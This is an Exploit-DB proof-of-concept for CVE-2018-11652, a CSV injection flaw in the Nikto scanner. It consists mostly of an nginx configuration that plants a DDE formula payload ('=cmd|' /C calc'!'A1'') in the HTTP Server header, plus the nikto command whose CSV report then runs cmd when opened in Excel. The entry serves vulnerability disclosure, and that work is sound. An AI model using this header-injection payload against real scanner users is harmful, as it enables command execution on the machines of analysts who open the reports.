EDB-ID: 44899 | Author: Adam Greenhill | Published: 2018-06-18 | CVE: CVE-2018-11652 | Type: Local | Platform: Linux | Vulnerable App: N/A | # Google Dork: N/A
# Date: 2018-06-01
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
# Technical Description:
# CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers
# to inject arbitrary OS commands via the Server field in an HTTP response header,
# which is directly injected into a CSV report.
# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
server_tokens off; # removed pound sign
more_set_headers "Server: =cmd|' /C calc'!'A1'";
server {
listen 80;
server_name localhost;
location /hello {
return 200 "hello world";
}
}
}
# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:
nikto -h <nginx address>:80 -o vuln.csv
# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting
# to execute
